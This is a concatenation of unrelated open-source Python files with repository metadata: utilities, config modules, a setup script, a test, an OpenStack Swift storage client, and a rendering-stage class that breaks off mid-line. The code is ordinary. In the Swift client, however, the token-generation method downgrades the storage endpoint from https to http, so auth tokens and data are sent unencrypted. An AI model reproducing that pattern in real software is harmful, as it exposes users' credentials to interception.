from itertools import zip_longest DAY = 'day' HOUR = 'hour' NAME = 'name' class Formatter: def __init__(self, indent=5 * ' '): self.indent = indent def append(self, text, tag=None): raise NotImplementedError('Must override append() in derived class') def println(self, *args): sep = None for a in args: if sep: self.append(sep) else: sep = ' ' if isinstance(a, str): self.append(a) else: self.append(*a) self.append('\n') def show(self, previous, day, hour, name, text): if day: if previous: self.println() self.println((day, DAY)) if name: if not day: self.println() self.println((hour, HOUR), (name, NAME)) self.show_multiline(None, text) else: self.show_multiline(hour, text) def show_multiline(self, hour, text): hh = [(hour, HOUR)] if hour else [] for h, line in zip_longest(hh, text.split('\n'), fillvalue=self.indent): self.println(h, line)

26.288889

80

0.50634

from itertools import zip_longest DAY = 'day' HOUR = 'hour' NAME = 'name' class Formatter: def __init__(self, indent=5 * ' '): self.indent = indent def append(self, text, tag=None): raise NotImplementedError('Must override append() in derived class') def println(self, *args): sep = None for a in args: if sep: self.append(sep) else: sep = ' ' if isinstance(a, str): self.append(a) else: self.append(*a) self.append('\n') def show(self, previous, day, hour, name, text): if day: if previous: self.println() self.println((day, DAY)) if name: if not day: self.println() self.println((hour, HOUR), (name, NAME)) self.show_multiline(None, text) else: self.show_multiline(hour, text) def show_multiline(self, hour, text): hh = [(hour, HOUR)] if hour else [] for h, line in zip_longest(hh, text.split('\n'), fillvalue=self.indent): self.println(h, line)

true

f70178a47dec7e27f047d239baba69c6694baf37

1,910

py

Python

src/prototypes/prototypes.py

kprzybyla/prototypes

e4a8eb05071a1df62ed59fd5d4e69510a9db8e8a

[ "MIT" ]

null

src/prototypes/prototypes.py

kprzybyla/prototypes

e4a8eb05071a1df62ed59fd5d4e69510a9db8e8a

[ "MIT" ]

null

src/prototypes/prototypes.py

kprzybyla/prototypes

e4a8eb05071a1df62ed59fd5d4e69510a9db8e8a

[ "MIT" ]

null

__all__ = [ "prototype", ] import sys from inspect import ( signature, ) from typing import ( TypeVar, Callable, ) from .exceptions import ( PrototypeError, ) if sys.version_info >= (3, 10): from typing import ParamSpec else: from typing_extensions import ParamSpec # pragma: no cover Parameters = ParamSpec("Parameters") ReturnType = TypeVar("ReturnType") # noinspection PyTypeHints def prototype( proto: Callable[Parameters, ReturnType], /, *, runtime: bool = True, ) -> Callable[Parameters, ReturnType]: """ Prototype decorator acts like a type protection shield that validates the parameters specification and return type annotation of the function against given prototype. If `runtime` parameter is set to True, decorator performs prototype validation during runtime using the :class:`Signature` class from :module:`inspect` module by comparing function and prototype signatures against each other. :param proto: prototype function :param runtime: when set to True, performs prototype validation during runtime :raises PrototypeError: When function has incompatible signature for given prototype. Exception is raised only when `runtime` argument is set to True. """ # noinspection PyTypeHints def decorator(func: Callable[Parameters, ReturnType], /) -> Callable[Parameters, ReturnType]: if runtime is True: func_signature = signature(func) proto_signature = signature(proto) if func_signature.parameters != proto_signature.parameters: raise PrototypeError(func, func_signature, proto, proto_signature) if func_signature.return_annotation != proto_signature.return_annotation: raise PrototypeError(func, func_signature, proto, proto_signature) return func return decorator

27.681159

97

0.704712

__all__ = [ "prototype", ] import sys from inspect import ( signature, ) from typing import ( TypeVar, Callable, ) from .exceptions import ( PrototypeError, ) if sys.version_info >= (3, 10): from typing import ParamSpec else: from typing_extensions import ParamSpec Parameters = ParamSpec("Parameters") ReturnType = TypeVar("ReturnType") def prototype( proto: Callable[Parameters, ReturnType], /, *, runtime: bool = True, ) -> Callable[Parameters, ReturnType]: def decorator(func: Callable[Parameters, ReturnType], /) -> Callable[Parameters, ReturnType]: if runtime is True: func_signature = signature(func) proto_signature = signature(proto) if func_signature.parameters != proto_signature.parameters: raise PrototypeError(func, func_signature, proto, proto_signature) if func_signature.return_annotation != proto_signature.return_annotation: raise PrototypeError(func, func_signature, proto, proto_signature) return func return decorator

true

f70178cbf4ef5105a30edcd3a5daa6e7f179211c

571

py

Python

chapter9_Computer-Vision/Deep-Dream/util.py

kumi123/pytorch-learning

29f5b4d53f4e72b95b3fab979b1bc496ef23674c

[ "MIT" ]

null

chapter9_Computer-Vision/Deep-Dream/util.py

kumi123/pytorch-learning

29f5b4d53f4e72b95b3fab979b1bc496ef23674c

[ "MIT" ]

null

chapter9_Computer-Vision/Deep-Dream/util.py

kumi123/pytorch-learning

29f5b4d53f4e72b95b3fab979b1bc496ef23674c

[ "MIT" ]

null

import PIL.Image from io import BytesIO from IPython.display import clear_output, Image, display import numpy as np def showarray(a, fmt='jpeg'): a = np.uint8(np.clip(a, 0, 255)) f = BytesIO() PIL.Image.fromarray(a).save(f, fmt) display(Image(data=f.getvalue())) def showtensor(a): mean = np.array([0.485, 0.456, 0.406]).reshape([1, 1, 3]) std = np.array([0.229, 0.224, 0.225]).reshape([1, 1, 3]) inp = a[0, :, :, :] inp = inp.transpose(1, 2, 0) inp = std * inp + mean inp *= 255 showarray(inp) clear_output(wait=True)

24.826087

61

0.607706

import PIL.Image from io import BytesIO from IPython.display import clear_output, Image, display import numpy as np def showarray(a, fmt='jpeg'): a = np.uint8(np.clip(a, 0, 255)) f = BytesIO() PIL.Image.fromarray(a).save(f, fmt) display(Image(data=f.getvalue())) def showtensor(a): mean = np.array([0.485, 0.456, 0.406]).reshape([1, 1, 3]) std = np.array([0.229, 0.224, 0.225]).reshape([1, 1, 3]) inp = a[0, :, :, :] inp = inp.transpose(1, 2, 0) inp = std * inp + mean inp *= 255 showarray(inp) clear_output(wait=True)

true

f70179383f15ccce81946c10265dbb68c2fdd06a

2,084

py

Python

novelsave/settings.py

damare01/novelsave

7896e8393c944e169e3cb52a33ab81ae396dff9f

[ "Apache-2.0" ]

12

2021-08-25T04:37:53.000Z

2022-01-28T03:06:17.000Z

novelsave/settings.py

damare01/novelsave

7896e8393c944e169e3cb52a33ab81ae396dff9f

[ "Apache-2.0" ]

18

2021-08-24T20:02:16.000Z

2022-03-29T06:55:53.000Z

novelsave/settings.py

damare01/novelsave

7896e8393c944e169e3cb52a33ab81ae396dff9f

[ "Apache-2.0" ]

6

2021-10-03T11:31:08.000Z

2022-03-29T07:28:49.000Z

import mimetypes from pathlib import Path from appdirs import user_config_dir from tqdm import tqdm NAME = "novelsave" AUTHOR = "Mensch272" # base project directory BASE_DIR = Path(__file__).resolve().parent.parent STATIC_DIR = BASE_DIR / "novelsave/resources" # operating system specific configuration file # config directory is used to place logs, config, cache CONFIG_DIR = Path(user_config_dir(NAME, AUTHOR)) CONFIG_FILE = CONFIG_DIR / "config.json" DATA_DIR = CONFIG_DIR / "data" DATABASE_FILE = (CONFIG_DIR / "data.sqlite").resolve() DATABASE_URL = "sqlite:///" + str(DATABASE_FILE) # default novel directory, where packaged files such # as epub and pdf are stored. NOVEL_DIR = Path.home() / "novels" # the following map defines how files are stored # by further subdivision into sub-folders DIVISION_RULES = { k: v.split("/", maxsplit=1)[0] for k, v in mimetypes.types_map.items() } def console_formatter(record): if record["level"].name == "INFO": return "{message}\n" else: return "<level>{level}: {message}</level>\n" LOGGER_CONFIG = { "handlers": [ { "sink": lambda msg: tqdm.write(msg, end=""), "format": console_formatter, "level": "INFO", "colorize": True, "backtrace": False, "diagnose": False, }, { "sink": CONFIG_DIR / "logs" / "{time}.log", "level": "TRACE", "retention": "2 days", "compression": "zip", "encoding": "utf-8", }, ], } TQDM_CONFIG = {"ncols": 80, "bar_format": "{percentage:3.0f}% |{bar}{r_bar}"} config = { "name": NAME, "author": AUTHOR, "base_dir": BASE_DIR, "static": { "dir": STATIC_DIR, }, "config": { "dir": CONFIG_DIR, "file": CONFIG_FILE, }, "data": { "dir": DATA_DIR, "division_rules": DIVISION_RULES, }, "novel": { "dir": NOVEL_DIR, }, "infrastructure": { "database": { "url": DATABASE_URL, } }, }

23.41573

77

0.580134

import mimetypes from pathlib import Path from appdirs import user_config_dir from tqdm import tqdm NAME = "novelsave" AUTHOR = "Mensch272" BASE_DIR = Path(__file__).resolve().parent.parent STATIC_DIR = BASE_DIR / "novelsave/resources" CONFIG_DIR = Path(user_config_dir(NAME, AUTHOR)) CONFIG_FILE = CONFIG_DIR / "config.json" DATA_DIR = CONFIG_DIR / "data" DATABASE_FILE = (CONFIG_DIR / "data.sqlite").resolve() DATABASE_URL = "sqlite:///" + str(DATABASE_FILE) NOVEL_DIR = Path.home() / "novels" DIVISION_RULES = { k: v.split("/", maxsplit=1)[0] for k, v in mimetypes.types_map.items() } def console_formatter(record): if record["level"].name == "INFO": return "{message}\n" else: return "<level>{level}: {message}</level>\n" LOGGER_CONFIG = { "handlers": [ { "sink": lambda msg: tqdm.write(msg, end=""), "format": console_formatter, "level": "INFO", "colorize": True, "backtrace": False, "diagnose": False, }, { "sink": CONFIG_DIR / "logs" / "{time}.log", "level": "TRACE", "retention": "2 days", "compression": "zip", "encoding": "utf-8", }, ], } TQDM_CONFIG = {"ncols": 80, "bar_format": "{percentage:3.0f}% |{bar}{r_bar}"} config = { "name": NAME, "author": AUTHOR, "base_dir": BASE_DIR, "static": { "dir": STATIC_DIR, }, "config": { "dir": CONFIG_DIR, "file": CONFIG_FILE, }, "data": { "dir": DATA_DIR, "division_rules": DIVISION_RULES, }, "novel": { "dir": NOVEL_DIR, }, "infrastructure": { "database": { "url": DATABASE_URL, } }, }

true

f70179c22847bf238ffe9a36a60ad35690b1309c

1,775

py

Python

newschimp/core.py

sputnikus/newschimp

8de77e4eb8054ea599b73f9c99fb494818736445

[ "MIT" ]

2

2016-03-11T01:14:27.000Z

2016-09-13T16:49:15.000Z

newschimp/core.py

sputnikus/newschimp

8de77e4eb8054ea599b73f9c99fb494818736445

[ "MIT" ]

3

2021-03-22T17:12:24.000Z

2021-12-13T19:39:41.000Z

newschimp/core.py

sputnikus/newschimp

8de77e4eb8054ea599b73f9c99fb494818736445

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- import logging import os import sys import click from newschimp import renderer, sender from newschimp.social import fb, gg, lanyrd from newschimp.cli import cli_group from newschimp.utils import ComplexCLI, load_settings LOGGER = logging.getLogger(__name__) def create_newsletter(settings): """Newsletter creation based on config and env variables""" context = {} try: fb_posts = fb.get_posts(settings, os.environ['FACEBOOK_TOKEN'], None) except KeyError: LOGGER.error('Facebook Token not defined') sys.exit() click.echo('[1/4] Getting Facebook Group posts') context['fb'] = fb.curate(fb_posts) ggroup_posts = gg.get_posts(settings, None) click.echo('[2/4] Getting Google Group posts') context['gg'] = gg.curate(ggroup_posts) click.echo('[3/4] Getting upcoming Lanyrd meetups') context['meetups'] = lanyrd.meetup_loop(settings) click.echo('[4/4] Rendering mail') renderer.render_files(settings, None, context) click.confirm( 'Content is rendered, would you like to send it now?', abort=True) click.echo('Creating MailChimp campaign') sender.new_campaign(settings, os.environ.get('MAILCHIMP_KEY')) cli_group.add_command(fb.cli) cli_group.add_command(gg.cli) cli_group.add_command(lanyrd.cli) @cli_group.command(cls=ComplexCLI, invoke_without_command=True) @click.option('--config', help='Custom config file', type=click.Path( exists=True, file_okay=True, resolve_path=True), default='config.yaml') @click.pass_context def main(ctx, config): ctx.obj['SETTINGS'] = load_settings(config) if ctx.invoked_subcommand is None: create_newsletter(ctx.obj['SETTINGS']) if __name__ == '__main__': main(obj={})

31.696429

77

0.71662

import logging import os import sys import click from newschimp import renderer, sender from newschimp.social import fb, gg, lanyrd from newschimp.cli import cli_group from newschimp.utils import ComplexCLI, load_settings LOGGER = logging.getLogger(__name__) def create_newsletter(settings): context = {} try: fb_posts = fb.get_posts(settings, os.environ['FACEBOOK_TOKEN'], None) except KeyError: LOGGER.error('Facebook Token not defined') sys.exit() click.echo('[1/4] Getting Facebook Group posts') context['fb'] = fb.curate(fb_posts) ggroup_posts = gg.get_posts(settings, None) click.echo('[2/4] Getting Google Group posts') context['gg'] = gg.curate(ggroup_posts) click.echo('[3/4] Getting upcoming Lanyrd meetups') context['meetups'] = lanyrd.meetup_loop(settings) click.echo('[4/4] Rendering mail') renderer.render_files(settings, None, context) click.confirm( 'Content is rendered, would you like to send it now?', abort=True) click.echo('Creating MailChimp campaign') sender.new_campaign(settings, os.environ.get('MAILCHIMP_KEY')) cli_group.add_command(fb.cli) cli_group.add_command(gg.cli) cli_group.add_command(lanyrd.cli) @cli_group.command(cls=ComplexCLI, invoke_without_command=True) @click.option('--config', help='Custom config file', type=click.Path( exists=True, file_okay=True, resolve_path=True), default='config.yaml') @click.pass_context def main(ctx, config): ctx.obj['SETTINGS'] = load_settings(config) if ctx.invoked_subcommand is None: create_newsletter(ctx.obj['SETTINGS']) if __name__ == '__main__': main(obj={})

true

f70179f8b9a5ed39f8e3e2daa4c9d420a7b278e5

1,044

py

Python

setup.py

vladiscripts/flightaware

bc3d25667475c8efbf6603cd93151e7e03b6d1b4

[ "MIT" ]

1

2016-09-28T12:56:06.000Z

setup.py

vladiscripts/flightaware

bc3d25667475c8efbf6603cd93151e7e03b6d1b4

[ "MIT" ]

null

setup.py

vladiscripts/flightaware

bc3d25667475c8efbf6603cd93151e7e03b6d1b4

[ "MIT" ]

1

2020-06-23T06:15:52.000Z

try: from setuptools import setup except ImportError: from distutils.core import setup PACKAGE = "flightaware" NAME = "flightaware" DESCRIPTION = "A python REST interface for flightaware data" AUTHOR = "Fred Palmer" AUTHOR_EMAIL = "fred.palmer@gmail.com" URL = "https://github.com/fredpalmer/flightaware" config = { "description": DESCRIPTION, "author": AUTHOR, "url": URL, "author_email": AUTHOR_EMAIL, "version": "0.1", "install_requires": [ "requests>=2.0.0", "pytz" ], "keywords": "travel flightaware airline flight flight-tracking flight-data", "classifiers": [ "Development Status :: 3 - Alpha", "Environment :: Web Environment", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Topic :: Internet :: WWW/HTTP", ], "packages": [PACKAGE, ], "scripts": [], "name": NAME, "license": "MIT", } setup(**config)

26.1

80

0.62069

try: from setuptools import setup except ImportError: from distutils.core import setup PACKAGE = "flightaware" NAME = "flightaware" DESCRIPTION = "A python REST interface for flightaware data" AUTHOR = "Fred Palmer" AUTHOR_EMAIL = "fred.palmer@gmail.com" URL = "https://github.com/fredpalmer/flightaware" config = { "description": DESCRIPTION, "author": AUTHOR, "url": URL, "author_email": AUTHOR_EMAIL, "version": "0.1", "install_requires": [ "requests>=2.0.0", "pytz" ], "keywords": "travel flightaware airline flight flight-tracking flight-data", "classifiers": [ "Development Status :: 3 - Alpha", "Environment :: Web Environment", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python", "Topic :: Internet :: WWW/HTTP", ], "packages": [PACKAGE, ], "scripts": [], "name": NAME, "license": "MIT", } setup(**config)

true

f7017a0b4139dd7ff8f485a857901a8d0d68104d

268

py

Python

tests/artificial/transf_Quantization/trend_Lag1Trend/cycle_30/ar_12/test_artificial_32_Quantization_Lag1Trend_30_12_20.py

shaido987/pyaf

b9afd089557bed6b90b246d3712c481ae26a1957

[ "BSD-3-Clause" ]

377

2016-10-13T20:52:44.000Z

2022-03-29T18:04:14.000Z

tests/artificial/transf_Quantization/trend_Lag1Trend/cycle_30/ar_12/test_artificial_32_Quantization_Lag1Trend_30_12_20.py

ysdede/pyaf

b5541b8249d5a1cfdc01f27fdfd99b6580ed680b

[ "BSD-3-Clause" ]

160

2016-10-13T16:11:53.000Z

2022-03-28T04:21:34.000Z

tests/artificial/transf_Quantization/trend_Lag1Trend/cycle_30/ar_12/test_artificial_32_Quantization_Lag1Trend_30_12_20.py

ysdede/pyaf

b5541b8249d5a1cfdc01f27fdfd99b6580ed680b

[ "BSD-3-Clause" ]

63

2017-03-09T14:51:18.000Z

2022-03-27T20:52:57.000Z

import pyaf.Bench.TS_datasets as tsds import tests.artificial.process_artificial_dataset as art art.process_dataset(N = 32 , FREQ = 'D', seed = 0, trendtype = "Lag1Trend", cycle_length = 30, transform = "Quantization", sigma = 0.0, exog_count = 20, ar_order = 12);

38.285714

168

0.735075

import pyaf.Bench.TS_datasets as tsds import tests.artificial.process_artificial_dataset as art art.process_dataset(N = 32 , FREQ = 'D', seed = 0, trendtype = "Lag1Trend", cycle_length = 30, transform = "Quantization", sigma = 0.0, exog_count = 20, ar_order = 12);

true

f7017af6c3cdf3b84c5e4f104a6d25cb9b08d77a

9,779

py

Python

lithops/storage/backends/swift/swift.py

Damian-MG/lithops

d2d2a83527671d64a445411bc47843b308095b87

[ "Apache-2.0" ]

55

2018-04-23T09:58:56.000Z

2020-09-09T11:47:16.000Z

lithops/storage/backends/swift/swift.py

Damian-MG/lithops

d2d2a83527671d64a445411bc47843b308095b87

[ "Apache-2.0" ]

256

2018-05-20T13:01:51.000Z

2020-09-16T09:09:54.000Z

lithops/storage/backends/swift/swift.py

Damian-MG/lithops

d2d2a83527671d64a445411bc47843b308095b87

[ "Apache-2.0" ]

35

2018-04-23T09:07:57.000Z

2020-08-12T13:43:06.000Z

# # (C) Copyright IBM Corp. 2020 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import os import json import shutil import logging import requests from lithops.storage.utils import StorageNoSuchKeyError from lithops.utils import sizeof_fmt from lithops.constants import STORAGE_CLI_MSG logger = logging.getLogger(__name__) class StorageBackend: """ A wrap-up around OpenStack Swift APIs. """ def __init__(self, swift_config): logger.debug("Creating OpenStack Swift client") self.auth_url = swift_config['swift_auth_url'] self.user_id = swift_config['swift_user_id'] self.project_id = swift_config['swift_project_id'] self.password = swift_config['swift_password'] self.region = swift_config['swift_region'] self.endpoint = None if 'token' in swift_config: self.token = swift_config['token'] self.endpoint = swift_config['endpoint'] else: self.token = self.generate_swift_token() swift_config['token'] = self.token swift_config['endpoint'] = self.endpoint self.session = requests.session() self.session.headers.update({'X-Auth-Token': self.token}) adapter = requests.adapters.HTTPAdapter(pool_maxsize=64, max_retries=3) self.session.mount('http://', adapter) self.session.mount('https://', adapter) msg = STORAGE_CLI_MSG.format('OpenStack Swift') logger.info("{} - Region: {}".format(msg, self.region)) def generate_swift_token(self): """ Generates new token for accessing to Swift. :return: token """ url = self.auth_url+"/v3/auth/tokens" headers = {'Content-Type': 'application/json'} data = {"auth": {"identity": {"methods": ["password"], "password": {"user": {"id": self.user_id, "password": self.password}}}, "scope": {"project": {"id": self.project_id}}}} json_data = json.dumps(data) r = requests.post(url, data=json_data, headers=headers) if r.status_code == 201: backend_info = json.loads(r.text) for service in backend_info['token']['catalog']: if service['name'] == 'swift': for endpoint in service['endpoints']: if endpoint['region'] == self.region: if endpoint['interface'] == 'public': self.endpoint = endpoint['url'].replace('https:', 'http:') if not self.endpoint: raise Exception('Invalid region name') return r.headers['X-Subject-Token'] else: message = json.loads(r.text)['error']['message'] raise Exception("{} - {} - {}".format(r.status_code, r.reason, message)) def put_object(self, container_name, key, data): """ Put an object in Swift. Override the object if the key already exists. :param key: key of the object. :param data: data of the object :type data: str/bytes :return: None """ url = '/'.join([self.endpoint, container_name, key]) try: res = self.session.put(url, data=data) status = 'OK' if res.status_code == 201 else 'Error' try: logger.debug('PUT Object {} - Size: {} - {}'.format(key, sizeof_fmt(len(data)), status)) except Exception: logger.debug('PUT Object {} - {}'.format(key, status)) except Exception as e: print(e) def get_object(self, container_name, key, stream=False, extra_get_args={}): """ Get object from Swift with a key. Throws StorageNoSuchKeyError if the given key does not exist. :param key: key of the object :return: Data of the object :rtype: str/bytes """ if not container_name: container_name = self.storage_container url = '/'.join([self.endpoint, container_name, key]) headers = {'X-Auth-Token': self.token} headers.update(extra_get_args) try: res = self.session.get(url, headers=headers, stream=stream) if res.status_code == 200 or res.status_code == 206: if stream: data = res.raw else: data = res.content return data elif res.status_code == 404: raise StorageNoSuchKeyError(container_name, key) else: raise Exception('{} - {}'.format(res.status_code, key)) except StorageNoSuchKeyError: raise StorageNoSuchKeyError(container_name, key) except Exception as e: print(e) raise StorageNoSuchKeyError(container_name, key) def upload_file(self, file_name, bucket, key=None, extra_args={}): """Upload a file :param file_name: File to upload :param bucket: Bucket to upload to :param key: S3 object name. If not specified then file_name is used :return: True if file was uploaded, else False """ # If S3 key was not specified, use file_name if key is None: key = os.path.basename(file_name) # Upload the file try: with open(file_name, 'rb') as in_file: self.put_object(bucket, key, in_file) except Exception as e: logging.error(e) return False return True def download_file(self, bucket, key, file_name=None, extra_args={}): """Download a file :param bucket: Bucket to download from :param key: S3 object name. If not specified then file_name is used :param file_name: File to upload :return: True if file was downloaded, else False """ # If file_name was not specified, use S3 key if file_name is None: file_name = key # Download the file try: dirname = os.path.dirname(file_name) if dirname and not os.path.exists(dirname): os.makedirs(dirname) with open(file_name, 'wb') as out: data_stream = self.get_object(bucket, key, stream=True) shutil.copyfileobj(data_stream, out) except Exception as e: logging.error(e) return False return True def head_object(self, container_name, key): """ Head object from Swift with a key. Throws StorageNoSuchKeyError if the given key does not exist. :param key: key of the object :return: Data of the object :rtype: str/bytes """ url = '/'.join([self.endpoint, container_name, key]) try: res = self.session.head(url) if res.status_code == 200: return res.headers elif res.status_code == 404: raise StorageNoSuchKeyError(container_name, key) else: raise Exception('{} - {}'.format(res.status_code, key)) except Exception as e: raise StorageNoSuchKeyError(container_name, key) def delete_object(self, container_name, key): """ Delete an object from Swift. :param bucket: bucket name :param key: data key """ url = '/'.join([self.endpoint, container_name, key]) return self.session.delete(url) def delete_objects(self, container_name, key_list): """ Delete a list of objects from Swift. :param bucket: bucket name :param key: data key """ headers={'X-Auth-Token': self.token, 'X-Bulk-Delete': 'True'} keys_to_delete = [] for key in key_list: keys_to_delete.append('/{}/{}'.format(container_name, key)) keys_to_delete = '\n'.join(keys_to_delete) url = '/'.join([self.endpoint, '?bulk-delete']) return self.session.delete(url, data=keys_to_delete, headers=headers) def list_objects(self, container_name, prefix=''): """ Lists the objects in a bucket. Throws StorageNoSuchKeyError if the given bucket does not exist. :param key: key of the object :return: Data of the object :rtype: str/bytes """ if prefix: url = '/'.join([self.endpoint, container_name, '?format=json&prefix='+prefix]) else: url = '/'.join([self.endpoint, container_name, '?format=json']) try: res = self.session.get(url) objects = res.json() # TODO: Adapt to Key and Size return objects except Exception as e: raise e def list_keys(self, container_name, prefix): """ Return a list of keys for the given prefix. :param prefix: Prefix to filter object names. :return: List of keys in bucket that match the given prefix. :rtype: list of str """ try: objects = self.list_objects(container_name, prefix) object_keys = [r['name'] for r in objects] return object_keys except Exception as e: raise(e)

36.901887

109

0.583495

import os import json import shutil import logging import requests from lithops.storage.utils import StorageNoSuchKeyError from lithops.utils import sizeof_fmt from lithops.constants import STORAGE_CLI_MSG logger = logging.getLogger(__name__) class StorageBackend: def __init__(self, swift_config): logger.debug("Creating OpenStack Swift client") self.auth_url = swift_config['swift_auth_url'] self.user_id = swift_config['swift_user_id'] self.project_id = swift_config['swift_project_id'] self.password = swift_config['swift_password'] self.region = swift_config['swift_region'] self.endpoint = None if 'token' in swift_config: self.token = swift_config['token'] self.endpoint = swift_config['endpoint'] else: self.token = self.generate_swift_token() swift_config['token'] = self.token swift_config['endpoint'] = self.endpoint self.session = requests.session() self.session.headers.update({'X-Auth-Token': self.token}) adapter = requests.adapters.HTTPAdapter(pool_maxsize=64, max_retries=3) self.session.mount('http://', adapter) self.session.mount('https://', adapter) msg = STORAGE_CLI_MSG.format('OpenStack Swift') logger.info("{} - Region: {}".format(msg, self.region)) def generate_swift_token(self): url = self.auth_url+"/v3/auth/tokens" headers = {'Content-Type': 'application/json'} data = {"auth": {"identity": {"methods": ["password"], "password": {"user": {"id": self.user_id, "password": self.password}}}, "scope": {"project": {"id": self.project_id}}}} json_data = json.dumps(data) r = requests.post(url, data=json_data, headers=headers) if r.status_code == 201: backend_info = json.loads(r.text) for service in backend_info['token']['catalog']: if service['name'] == 'swift': for endpoint in service['endpoints']: if endpoint['region'] == self.region: if endpoint['interface'] == 'public': self.endpoint = endpoint['url'].replace('https:', 'http:') if not self.endpoint: raise Exception('Invalid region name') return r.headers['X-Subject-Token'] else: message = json.loads(r.text)['error']['message'] raise Exception("{} - {} - {}".format(r.status_code, r.reason, message)) def put_object(self, container_name, key, data): url = '/'.join([self.endpoint, container_name, key]) try: res = self.session.put(url, data=data) status = 'OK' if res.status_code == 201 else 'Error' try: logger.debug('PUT Object {} - Size: {} - {}'.format(key, sizeof_fmt(len(data)), status)) except Exception: logger.debug('PUT Object {} - {}'.format(key, status)) except Exception as e: print(e) def get_object(self, container_name, key, stream=False, extra_get_args={}): if not container_name: container_name = self.storage_container url = '/'.join([self.endpoint, container_name, key]) headers = {'X-Auth-Token': self.token} headers.update(extra_get_args) try: res = self.session.get(url, headers=headers, stream=stream) if res.status_code == 200 or res.status_code == 206: if stream: data = res.raw else: data = res.content return data elif res.status_code == 404: raise StorageNoSuchKeyError(container_name, key) else: raise Exception('{} - {}'.format(res.status_code, key)) except StorageNoSuchKeyError: raise StorageNoSuchKeyError(container_name, key) except Exception as e: print(e) raise StorageNoSuchKeyError(container_name, key) def upload_file(self, file_name, bucket, key=None, extra_args={}): if key is None: key = os.path.basename(file_name) try: with open(file_name, 'rb') as in_file: self.put_object(bucket, key, in_file) except Exception as e: logging.error(e) return False return True def download_file(self, bucket, key, file_name=None, extra_args={}): if file_name is None: file_name = key try: dirname = os.path.dirname(file_name) if dirname and not os.path.exists(dirname): os.makedirs(dirname) with open(file_name, 'wb') as out: data_stream = self.get_object(bucket, key, stream=True) shutil.copyfileobj(data_stream, out) except Exception as e: logging.error(e) return False return True def head_object(self, container_name, key): url = '/'.join([self.endpoint, container_name, key]) try: res = self.session.head(url) if res.status_code == 200: return res.headers elif res.status_code == 404: raise StorageNoSuchKeyError(container_name, key) else: raise Exception('{} - {}'.format(res.status_code, key)) except Exception as e: raise StorageNoSuchKeyError(container_name, key) def delete_object(self, container_name, key): url = '/'.join([self.endpoint, container_name, key]) return self.session.delete(url) def delete_objects(self, container_name, key_list): headers={'X-Auth-Token': self.token, 'X-Bulk-Delete': 'True'} keys_to_delete = [] for key in key_list: keys_to_delete.append('/{}/{}'.format(container_name, key)) keys_to_delete = '\n'.join(keys_to_delete) url = '/'.join([self.endpoint, '?bulk-delete']) return self.session.delete(url, data=keys_to_delete, headers=headers) def list_objects(self, container_name, prefix=''): if prefix: url = '/'.join([self.endpoint, container_name, '?format=json&prefix='+prefix]) else: url = '/'.join([self.endpoint, container_name, '?format=json']) try: res = self.session.get(url) objects = res.json() return objects except Exception as e: raise e def list_keys(self, container_name, prefix): try: objects = self.list_objects(container_name, prefix) object_keys = [r['name'] for r in objects] return object_keys except Exception as e: raise(e)

true

f7017b8db9e3fad17b386ca08b520a4ce52d409f

7,307

py

Python

rpcore/render_stage.py

serkkz/RenderPipeline

cecd14632150f607c0a89401287f74c68d77b15d

[ "MIT" ]

null

rpcore/render_stage.py

serkkz/RenderPipeline

cecd14632150f607c0a89401287f74c68d77b15d

[ "MIT" ]

null

rpcore/render_stage.py

serkkz/RenderPipeline

cecd14632150f607c0a89401287f74c68d77b15d

[ "MIT" ]

null

""" RenderPipeline Copyright (c) 2014-2016 tobspr <tobias.springer1@gmail.com> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from rpcore.render_target import RenderTarget from rpcore.loader import RPLoader class RenderStage(): """ This class is the abstract class for all stages used in the pipeline. It represents a part of the pipeline render process. Each stage specifies which pipes it uses and which pipes it produces. A pipe can be seen as a texture, which gets modified. E.g. the gbuffer pass produces the gbuffer pipe, the ambient occlusion pass produces the occlusion pipe and so on. The lighting pass can then specify which pipes it needs and compute the image. Using a pipe system ensures that new techniques can be inserted easily, without the other techniques even being aware of them """ required_inputs = [] required_pipes = [] produced_inputs = {} produced_pipes = {} produced_defines = {} disabled = False def __init__(self, pipeline): """ Creates a new render stage """ self.stage_id = self.__class__.__name__ self._pipeline = pipeline self._active = True self._targets = {} def create(self): """ This method should setup the stage and create the pipes """ raise NotImplementedError() def reload_shaders(self): """ This method should set all required shaders, there should be no shaders set in the create method, because the shader auto config is not generated there """ pass def set_shader_input(self, *args): """ This method sets a shader input on all stages, which is mainly used by the stage manager """ for target in self._targets.values(): target.set_shader_input(*args) def set_shader_inputs(self, **kwargs): """ This method sets shader inputs on all stages, which is mainly used by the stage manager """ for target in self._targets.values(): target.set_shader_inputs(**kwargs) def update(self): """ This method gets called every frame, and can be overridden by render stages to perform custom updates """ pass @property def active(self): """ Returns whether *all* targets of the stage are active """ return self._active @active.setter def active(self, state): """ Enables or disables this stage. In case the stage is disabled, it will not get updated anymore, and all stages are distabled """ if self._active != state: self._active = state for target in self._targets.values(): target.active = self._active def create_target(self, name): """ Creates a new render target and binds it to this stage """ # Format the name like Plugin:Stage:Name, so it can be easily # found in pstats below the plugin cagetory name = self._get_plugin_id() + ":" + self.stage_id + 